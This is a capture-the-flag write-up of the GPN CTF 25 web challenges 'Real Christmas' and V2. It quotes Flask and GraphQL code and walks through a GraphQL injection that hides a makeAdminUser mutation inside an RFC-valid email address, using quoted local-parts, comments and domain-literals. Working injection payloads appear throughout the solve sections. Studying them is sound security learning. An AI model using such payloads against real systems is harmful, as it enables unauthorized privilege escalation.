This writeup provides a walkthrough of the WEB challenges `Real Christmas` and `Real Christmas V2` made by `Intrigus , @intrigus. on discord` for the GPN CTF 25

The two challenges had **37** and **17** solves respectively.

First of all I want to thank Intrigus for such a cool challenge, and the rest of the GPN team for the ctf event.

And also thank my teammate `coutinho21` for the help on the challenge

I will try to make the solve and understanding of the challenge as simple as possible

---

Table of Contents

Understanding the challenge

When we open the challenge we can see a simple web page that allows a user to

- **Register**
- **Login**
- **Get Flag**

The src code

I wont bother you too much with the source code analysis, and will show you the *interesting* things

We are given this set of files:

It is on the graphQL, routes and services files that we find the good stuff !

The routes file

The routes file provides a lot of information but I will highlight the most important functions, firstly how to get the flag

```
@bp.route("/flag", methods=["GET"])
def get_flag():
    user = get_logged_in_user()
    if not user:
```

```
        flash("You must be logged in to access this page.", "error")
        current_app.logger.warning("Unauthorized access attempt to /flag")
        return redirect("/login")

    if not user.is_active:
        flash("User account is not active.", "error")
        current_app.logger.warning(
            f"Inactive user attempted to access flag: {user.email}"
        )
        return render_template("flag.html")

    if not user.is_admin:
        flash("User account is not an admin, lol.", "error")
        current_app.logger.warning(
            f"Non-admin user attempted to access flag: {user.email}"
        )
        return render_template("flag.html")

    registration_time = user.registration_time
    if registration_time.tzinfo is None:
        registration_time = registration_time.replace(tzinfo=timezone.utc)
    current_time = datetime.now(timezone.utc)

    if current_time - registration_time >= timedelta(seconds=FLAG_WAIT_SECONDS):
        flag = os.environ.get("FLAG")
        if not flag:
            flash("Internal error, please open a ticket!", "error")
            return render_template("flag.html")
        current_app.logger.info(f"Flag accessed by admin user: {user.email}")
        flash(f"Flag: {flag}", "success")
        return render_template("flag.html")
    else:
        flash(
            f"Flag will be available after {FLAG_WAIT_SECONDS} seconds from
registration",
            "error",
        )
        current_app.logger.warning(
            f"Flag access attempt by user {user.email} before wait time."
        )
        return render_template("flag.html")
```

So we get 2 crucial pieces of information:

- For an account to get the flag it must be active **AND** admin

```
@bp.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        email = request.form.get("email")
        password = request.form.get("password")
```

```
        if not email or not password:
            flash("Email and password are required.", "error")
            return render_template("register.html")

        result = is_email(email, diagnose=True, check_dns=False, allow_gtld=True)
        if isinstance(result, InvalidDiagnosis):
            flash(result, "error")
            return render_template("register.html")

        if User.query.filter_by(email=email).first():
            flash("Email already registered.", "error")
            return render_template("register.html")

        hashed_password = generate_password_hash(password)
        user = User(email=email, password_hash=hashed_password)
        db.session.add(user)
        db.session.commit()
        current_app.logger.info(f"User registered successfully: {email}")
        flash("User registered successfully.", "success")
        return redirect("/login")
    return render_template("register.html")
```

And this is how a user registers in the app :

1. User provides an email that is validated using pythons' pyisemail (uses RFC 5322 for email validation)
2. If no user exists with that email, the user successfully registers and is created

---

The Graphql file

```
class MakeAdminUser(Mutation):
    class Meta:
        description = "Mutation to make a user an admin"

    class Arguments:
        user = UserInput(required=True)

    success = Boolean()
    message = String()

    def mutate(self, info, user):
        # Auth
        if (
            not info.context.headers.get("Key")
            == current_app.config["SERVICE_TOKEN_KEY"]
        ):
            return MakeAdminUser(success=False, message="Unauthorized")

        # Find the user
```

```
        db_user = None
        if user.get("id") is not None:
            db_user = User.query.filter_by(id=user.get("id")).first()
        elif user.get("email") is not None:
            db_user = User.query.filter_by(email=user.get("email")).first()

        if not db_user:
            return MakeAdminUser(success=False, message="User not found")

        db_user.is_admin = True
        db.session.commit()
        return MakeAdminUser(success=True, message="User made admin successfully")
```

From the code we can see that there exists a mutation to elevate a user to admin, though we are faced with a problem, we cannot just execute it, since the mutation requires a **SECRET_TOKEN_KEY** so we will need to somehow make someone with this key elevate one of our users to admin

---

The Services file

```
def deactivate_user_graphql(email):
    graphql_endpoint = current_app.config["GRAPHQL_ENDPOINT"]
    query = f"""
        mutation {{
            deactivateUser (user: {{email: "{email}"}}){{
                success
            }}
        }}
    """
    try:
        current_app.logger.info(
            f"Sending deactivation request for user: {email} to GraphQL endpoint."
        )
        response = requests.post(
            graphql_endpoint,
            json={"query": query, "variables": {}},
            # Just assume that this deactivation service is running on a separate
server,
            # and that we get a token to access it.
            headers={
                "Key": current_app.config["SERVICE_TOKEN_KEY"],
            },
        )

        response.raise_for_status()

    except requests.exceptions.RequestException as e:
        current_app.logger.error(f"Failed to send deactivation request to GraphQL:
{e}")
    except Exception as e:
        current_app.logger.error(
```

```
            f"An unexpected error occurred during user deactivation: {e}"
        )
```

Voilá we just found an injection point, the user's email is being used un-escaped on the graphql mutation. And we can also see that thankfully the operation is being done using that **SECRET_TOKEN** we need to call MakeAdminUser.

The solve

So if we want to get a flag: 1. We need to create a user who's email is validated by the RFC 2. We need that user to **NOT** get deactivated 3. We need that user to **GET** admin status

Let's get to building that solution

Firstly the deactivation looks like this :

```
mutation {
            deactivateUser (user: {email: " <INPUT> "}){
                success
            }
        }
```

So to make a user NOT be deactivated AND elevated to admin we would need to do

```
mutation {
            deactivateUser (user: {email: "" }) { success } makeAdminUser( user: {
id: 1 } ) {
                success
            }
        }
```

For this, the injection looks like this : `" }) { success } makeAdminUser( user: { id: 1 } ) {`

Perfect, we can deactivate no one, and elevate a user with any id to admin

Now this is where we run into the issue, how can we register a user with this email? RFC should block it

How the RFC sees an email

The RFC sees an email divided in 2 parts `<local-part>@<domain>`

The Local-part can either be :

- Letters [a-Z]
- Digits [0-9]
- These special chars `!#$%&'*+-/=?^_{|}~`
- It does **NOT** allow `()[]:;@\,<>` or space

So how exactly can we get out of the string (`" <INPUT> "`) and use special chars?

The RFC actually allows almost any ASCII character when wrapped in double quotes, so :

- All of this `"()<>[]:,;@\"!#$%^&*"` is allowed

So this should be enough to build our exploit correct?

REMINDER : `" }) { success } makeAdminUser( user: { id: 1 } ) {`

So our local-part will be exactly that

`" }) { success } makeAdminUser( user: { id: 1 } ) { "` and our domain `@cdm.com`

BUT this raises an issue, as it creates this errored mutation :

```
mutation {
            deactivateUser (user: {email: "" }) { success } makeAdminUser( user: {
id: 1 } ) { "@cdm.com
                success
            }
        }
```

To solve this issue we can make our domain and " a `#comment`, remember the `#` is allowed !

So we get : `"}){success} makeAdminUser(user:{id:1}){ #"@cdm.com`

Which gives us

```
mutation {
            deactivateUser (user: {email: "" }) { success } makeAdminUser( user: {
id: 1 } ) { #"@cdm.com
                success
            }
        }
```

A correct query !!!

Shoutout to `coutinho21` for the help !

Now we just need to create a user with this email `"}){success} makeAdminUser(user:{id:1}){ #"@cdm.com` , making sure id corresponds with this same user's id and login, wait a few seconds for the deactivation task and *voilá* we get the flag !

)

THE V2

The V2 has one simple code change, you no longer can use id on the MakeAdminUser mutation, so you are required to use email.

This : `makeAdminUser(user: { id: 1 })` does **not** work

This enforces us to use a payload like the previous, with one simple change:

- `"... {email:"someone@somewhere.com"} ... #"@cdm.com`

Giving us:

```
mutation {
  deactivateUser(user: { email: "" }) {success} makeAdminUser(user
{email:"someone@somewhere.com"}) { #"@cdm.com {
    success
  }
}
```

Why is this a huge issue ? We need to now use double quotes inside of double quotes, which the RFC does not enjoy much `" "" "`

So how can we pass validation and do an injection?

Previously I showed you in a simple way how the RFC sees an email. Now we will see how the RFC **really** sees an email

```
email = local-part "@" ( domain | [ domain-literal ] )
```

According to the RFC :

A domain can be enclosed in square brackets `[...]` and treated as a **domain-literal**.

A **domain-literal**:

- Must start with `[` and end with `]`
- **Can** include any printable character except `[ , ] or \`

So what does this mean, this means we have a chance to use 2 double quotes, since inside the domain literal we can use it as much as we like for example, this is valid `user@["lalala"!hey?"lalala"]`

So let's go back to our injection, it needs to look like this:

```
"}){success} makeAdminUser(user:{email:"a@b.c"}){  #"
```

So lets place it inside a domain-literal

```
a@["}){success} makeAdminUser(user:{email:"a@b.c"}){  #"]
```

What the RFC parser sees ?

```
    local-part : a
    @
    domain-literal : [...]
```

So it is accepted, we just now need to create a user with an email that will break the deactivation (so he does not get deactivated), then elevate it to admin by registering another user with our payload

To break the deactivation we have seen is trivial, just create a user `""@cdm.com`

Now he **stays** active, and we simply register another user

- `a@["}){success} makeAdminUser(user:{email:"\"\"@cdm.com"}) { #"]`

This makes the server do the following mutation

```
mutation {
            deactivateUser (user: {email: "a@["}) {success}
            makeAdminUser(user:{email:"\"\"@cdm.com"}) {  #"]{
                success
            }
        }
```

And we now have a user that is both active and admin, let's get that flag

---

Overall a great challenge that chains together 2 different vulnerabilities, graphQl injection and RFC bypassing. Thank you for the creator and also for you that read this !